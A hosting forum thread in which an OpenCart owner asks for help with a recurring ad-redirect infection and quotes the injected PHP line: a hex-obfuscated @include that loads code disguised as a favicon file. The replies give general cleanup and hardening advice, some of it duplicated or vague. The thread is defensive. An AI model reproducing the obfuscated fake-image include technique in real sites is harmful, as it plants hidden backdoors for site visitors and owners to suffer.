Hosting & Domaining Forum

Hosting Discussion => Hosting Security and Technology => Vulnerabilities => Topic started by: himachaldesk on Feb 16, 2023, 03:23 AM

Title: Identifying and Removing a Redirect Virus from site
Post by: himachaldesk on Feb 16, 2023, 03:23 AM
Hi! I've been having redirect issues on my website lately. Whenever I try to access it, I get redirected to a website full of ads.

After looking at the code, I saw a suspicious file path in the index.php file which led me to a favicon file. I removed the code and deleted the file but the next day, the same thing happened except with a different code and a file in another folder.

I'm using Opencart with several modules installed such as Marketplace and Ajax Product Page Loader. I've tried changing my hosting password and making the index.php file 'read-only' but these measures didn't solve the problem. Is there anyone who can help me get rid of this infection? Thanks for taking the time to read this!

/*1d3ec*/

@@include "\x2fhom\x65/ab\x 6 din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/

Title: Re: How to remove malicious code from website
Post by: merryscanlan on Feb 16, 2023, 03:51 AM
A virus is a program that performs certain actions, causing reproduction. It can exploit vulnerabilities in the software used by your host, server, or management software, granting malicious code access to restricted areas.

When the virus gains entry, it multiplies at a rapid pace, thereby risking everything saved on your server. If even one file gets compromised, all others will be vulnerable too. To tackle this issue, it's essential to remedy any damage, back up files, and automatically roll them back (at least every hour).

To locate the problem, start with isolating it first. Disable all services except for the web server. If the problem persists, disable other services one by one until you identify the culprit. If the server logs fail to provide enough information, redirect it to a remote host after enabling detailed logging.

If the problem still exists, use tcpdump to capture network traffic and find the hole. Once discovered, inform the authors of the software and update it immediately. Troubleshooting such issues might interrupt normal site operations but can be an engaging and productive process.
Title: Re: How to remove malicious code from website
Post by: Reena Mehta on Feb 16, 2023, 04:25 AM
Usually, encountering one suspicious file doesn't address the root cause of a malware problem. I've faced similar situations earlier but with WordPress sites, which is why I don't recommend it.

In such cases, hackers locate vulnerabilities like an FTP password and upload a small file that allows them to edit files without a password. Subsequently, they can upload harmful scripts without detection, making it crucial to scan for such files.

Review access logs and identify the accessed files. Antivirus software, including Kaspersky, may fail to identify these files as viral since they don't contain strange letters or apparent indications of malware.
Title: Re: How to remove malicious code from website
Post by: vnit969 on Feb 16, 2023, 05:33 AM
It's improbable that a single file is the root cause of malware on your website. In my experience, I've come across similar situations with WordPress sites, which is why I prefer other platforms.

Hackers often exploit vulnerabilities by acquiring an FTP password and uploading a file that allows them to edit files without requiring a password. Once they gain access, they can upload harmful scripts without detection. Hence, finding that file and eliminating it becomes critical to prevent future attacks.

To locate the file, review the AccessLog to identify the accessed files. Certain antivirus software, including Kaspersky, might not identify these files as viral as they appear normal without any unusual characters or clear indications of malware.
Title: Re: Identifying and Removing a Redirect Virus from Website
Post by: willeachrank on May 13, 2023, 03:56 AM
Antivirus programs may not entirely protect internet resources from viruses. Although the virus code is visible, the body of the malware might not exist on a web resource. That's why antivirus software can't detect any danger when visiting a contaminated webpage. To remove a virus from a website, it's essential to manually examine the codes and eliminate any malicious areas. Since it's not a task an ordinary user can solve, I recommend seeking professional assistance. Usually, IFRAME elements or javascript blocks are infected.

Several reasons make treating website resources for malware necessary. For instance, viruses can negatively impact a website's functionality, infect all PCs of its visitors, and lead to search engines banning the page with malicious content. If there are spam emails from an infected site, the hoster can block the IP address too. Trying to clean a website by oneself can lead to severe problems, so it's better to seek professional help. The diagnostic process includes comprehensive file checking, cleaning of malicious codes, and searching for infections. Afterward, specialists perform a deep audit and ensure appropriate protection measures to prevent similar issues from arising in the future.

To ensure reliable website protection, it's crucial to use complex passwords and keep them safe. Access system codes only from computers that have an antivirus program and regularly update both the PC software and the web server. Back up the website and databases often, monitor the security of the website's Internet resource, and work only with verified social network, audio, and video file extensions.

You can detect a virus on a webpage when your PC signals the likelihood of infection while loading the page. Other users of the resource might also warn about viral content, unfamiliar files could suddenly appear, or someone else's code might be present in the index file of the page, including the [iframe][/iframe] tags and after [BODY] or [HTML].
Title: Re: Identifying and Removing a Redirect Virus from site
Post by: xKenethMolinav on May 23, 2024, 10:40 AM
I recommend the following detailed steps:

1. Backup Your Website: Before proceeding with any changes, create a comprehensive backup of your website, including all files and databases. This will ensure that you have a restore point in case any unintended issues arise during the cleanup process.

2. Security Scan and Malware Removal: Utilize a reputable security plugin or service to conduct a thorough scan of your website for malware and security vulnerabilities. This scan should cover all files, databases, and directories, including core Opencart files and installed modules. If malware is detected, follow the recommended procedures to remove and quarantine the malicious code or files.

3. Update Opencart and Modules: Verify that your Opencart installation, as well as any third-party modules and extensions, are updated to the latest versions. Outdated software and plugins are often targeted by attackers due to known vulnerabilities. Ensure that you obtain updates directly from reliable sources, such as the Opencart marketplace or verified developers.

4. Change Passwords and Access Credentials: Change the passwords for your hosting account, Opencart admin panel, FTP, and any other relevant access credentials associated with your website. Use strong, unique passwords for each account, incorporating a combination of uppercase and lowercase letters, numbers, and special characters.

5. File Permissions Audit: Review and verify the file and directory permissions on your hosting server. Ensure that sensitive files, including the index.php file, have appropriate permissions set to limit unauthorized access. The recommended file permissions for sensitive files are often 644 for files and 755 for directories.

6. Server Logs Analysis: Regularly monitor your server logs to identify any unusual or suspicious activity. Analyzing access logs, error logs, and security logs can provide valuable insights into the source and nature of the security breach. Look for unexpected file modifications, unauthorized logins, or anomalous HTTP requests.

7. Code Review and Cleanup: Conduct a meticulous review of your website's files, particularly PHP files, JavaScript files, and other executable scripts, for any unfamiliar or obfuscated code. Pay specific attention to the index.php file, as well as files within the directories referenced in the suspicious code you discovered. If you encounter suspicious code, remove it promptly and verify the integrity of affected files.

8. Implementation of Website Firewall: Consider integrating a web application firewall (WAF) as an additional layer of defense to protect your website from malicious traffic, unauthorized access attempts, and known attack vectors. A WAF can filter incoming traffic, block malicious requests, and provide real-time threat monitoring and protection.

9. Consultation with Security Experts: If the issue persists or if you require specialized expertise, consider consulting with cybersecurity professionals, web security specialists, or experienced web development agencies with a focus on website security. A thorough security audit, penetration testing, and cleanup assistance from experienced professionals can help fortify your website against future attacks.

By diligently executing the aforementioned steps, you can work towards eradicating the underlying security threats, safeguarding your website against unauthorized access, and restoring the trust and integrity of your online presence. Implementing proactive security measures and maintaining ongoing vigilance will be paramount in mitigating future security risks.